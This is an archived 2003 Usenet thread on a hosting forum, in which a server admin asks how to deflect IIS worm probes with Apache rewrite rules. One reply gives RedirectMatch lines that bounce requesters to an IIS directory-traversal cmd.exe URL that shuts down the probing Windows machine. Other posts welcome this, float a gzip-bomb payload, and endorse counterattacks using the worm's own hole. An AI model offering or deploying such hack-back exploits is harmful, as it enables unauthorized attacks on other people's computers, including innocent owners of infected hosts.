Welcome to MobyThreads.com!
FAQFAQ      ProfileProfile    Private MessagesPrivate Messages   Log inLog in
All support for the MobyThreads Threaded phpBB MOD can now be found on welsolutions at this forum

url rewrite question

 
   Web Hosting and Web Master Forums (Home) -> Apache RSS
Next:  Possible Apache configuration/router issue?  
Author Message
danceslut

External


Since: Oct 14, 2003
Posts: 2



(Msg. 1) Posted: Tue Oct 14, 2003 9:54 pm
Post subject: url rewrite question
Archived from groups: alt>apache>configuration (more info?)

I'm just beginning to poke around in apache internals, so I want to check
this before I try it.

Problem: People who think my server is IIS and trying to get various *.exe
and *.dll files in an attempt to compromise the server. The directory path
used varies a lot, usually into directories that don't exist on my server.

Preferred solution: have all requests ending in *.exe or *.exe?*
(similarly for .dll) fetch back a file telling them to go bugger off.
(I have some ideas about that - there's a simple file that's supposed to
GPF IE, but I'm not sure that the script kiddies are using IE.)

Proposed coding:

RewriteCond %{REQUEST_URI} *exe
RewriteRule ^*exe$ foo.html [L]

RewriteCond %{REQUEST_URI} *exe\?*
RewriteRule ^*exe\?*$ foo.html [L]

Will this work? Why or why not?

Anthony
--
to email me, use my first name for my username, and the username
as my second-level domain name.

 >> Stay informed about: url rewrite question 
Back to top
Login to vote
davideyeahsure

External


Since: Nov 03, 2003
Posts: 2907



(Msg. 2) Posted: Tue Oct 14, 2003 10:03 pm
Post subject: Re: url rewrite question [Login to view extended thread Info.]
Archived from groups: per prev. post (more info?)

Anthony Argyriou <danceslut RemoveThis @nospam.net> wrote:
 > (similarly for .dll) fetch back a file telling them to go bugger off.

Most of those requests came from Worms and other automatic procedures,
not from humans, so your file wont do any good but just increase
your bandwidth. Just disable the logging for these things.

Davide<!-- ~MESSAGE_AFTER~ -->

 >> Stay informed about: url rewrite question 
Back to top
Login to vote
spam3

External


Since: Jul 01, 2003
Posts: 411



(Msg. 3) Posted: Tue Oct 14, 2003 10:30 pm
Post subject: Re: url rewrite question [Login to view extended thread Info.]
Archived from groups: per prev. post (more info?)

Anthony Argyriou wrote:
 > Problem: People who think my server is IIS and trying to get various *.exe
 > and *.dll files in an attempt to compromise the server. The directory path
 > used varies a lot, usually into directories that don't exist on my server.
 >
 > Preferred solution: have all requests ending in *.exe or *.exe?*
 > (similarly for .dll) fetch back a file telling them to go bugger off.
 > (I have some ideas about that - there's a simple file that's supposed to
 > GPF IE, but I'm not sure that the script kiddies are using IE.)

These are likely scripts and/or worms, there's nobody at the other end
watching the page's output. The following should actually shut down the
machine making the request if it is a Windows NT/2K/XP machine. Which
should raise a flag to the admin and therefore try to find out why it is
doing that so they can fix it in the case that it is an infected server.

Try this (note there is only 3 lines here):

RedirectMatch (.*)\default.ida$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>

RedirectMatch (.*)\root.exe$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>

RedirectMatch (.*)\cmd.exe$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>

Put these in the <IfModule mod_alias.c> directive to avoid config errors.

--
Justin Koivisto - spam.TakeThisOut@koivi.com
PHP POSTERS: Please use comp.lang.php for PHP related questions,
alt.php* groups are not recommended.<!-- ~MESSAGE_AFTER~ -->
 >> Stay informed about: url rewrite question 
Back to top
Login to vote
danceslut

External


Since: Oct 14, 2003
Posts: 2



(Msg. 4) Posted: Tue Oct 14, 2003 11:09 pm
Post subject: Re: url rewrite question [Login to view extended thread Info.]
Archived from groups: per prev. post (more info?)

On Tue, 14 Oct 2003 12:30:14 -0700, Justin Koivisto wrote:

 > These are likely scripts and/or worms, there's nobody at the other end
 > watching the page's output. The following should actually shut down the
 > machine making the request if it is a Windows NT/2K/XP machine. Which
 > should raise a flag to the admin and therefore try to find out why it is
 > doing that so they can fix it in the case that it is an infected server.
 >
 > Try this (note there is only 3 lines here):

Thank you! I'd been contemplating some sort of payload where they got
redirected to a cgi which spit back something gzip encoded which had been
compressed by a factor of several thousand, so I could send them
megabytes of repetitive crap without clogging my uplink much. This seems
like a better idea overall!

Anthony
--
to email me, use my first name for my username, and the username
as my second-level domain name.<!-- ~MESSAGE_AFTER~ -->
 >> Stay informed about: url rewrite question 
Back to top
Login to vote
jring

External


Since: Jun 30, 2003
Posts: 154



(Msg. 5) Posted: Fri Oct 17, 2003 7:59 pm
Post subject: Re: url rewrite question [Login to view extended thread Info.]
Archived from groups: per prev. post (more info?)

 > Thank you! I'd been contemplating some sort of payload where they got
 > redirected to a cgi which spit back something gzip encoded which had been
 > compressed by a factor of several thousand, so I could send them
 > megabytes of repetitive crap without clogging my uplink much. This seems
 > like a better idea overall!

since the worm will not unzip the response, they couldn't care less.
but there have been people redirecting these requests to a cgi which
uses the same vulnerability the worm exploited to close down the
offending system. this may of course get you into trouble but it's
pretty shure to catch somebodies attention - and if it doesn't, well
one wormhole less on the net.

joachim<!-- ~MESSAGE_AFTER~ -->
 >> Stay informed about: url rewrite question 
Back to top
Login to vote
Display posts from previous:   
Related Topics:
mod rewrite question - I'm hoping I can get an answer to one of the 4 questions I've posted to this group over the last couple of months, so here goes. I'm serving XHTML files as application/xhtml+xml as they should be. But IE doesn't like this. What I wanted to do was us...

Mod Rewrite help - I've got 10,000+ files in a folder http://www.myseite.com/acrhives/ i.e. .../archives/2000/12/, .../archives/2000/11/, .../archives/2000/10/ ... Several years, many months of html mhonarc-archived docs. We have so many files in this one folder, I've..

REWRITE - I have a movie download site and what i need is that if users are linking my files (like http://www.eengoedidee.nl/videoz/bmx/jib.mpg) that they come to a page for the download. Like this..

rewrite rule - Hi I want users of my site to be able to download video files, but only on specific conditions. To check these condition (to avoid hotlinking for example), I made a rewriterule: RewriteRule ([^.]*\.mpg) http://www2.tvreclames.nl/download.pl?file=$1 Fo...

ReWrite Problem - I am setting up a Zope Site (zope) behind an Apache Server. I have the ReWrite rule working correctly: <VirtualHost 10.0.0.12:80> <font color=purple> ; ServerName www.example.com</font> <font color=purple> ; Serve...
   Web Hosting and Web Master Forums (Home) -> Apache All times are: Pacific Time (US & Canada) (change)
Page 1 of 1

 
You can post new topics in this forum
You can reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



[ Contact us | Terms of Service/Privacy Policy ]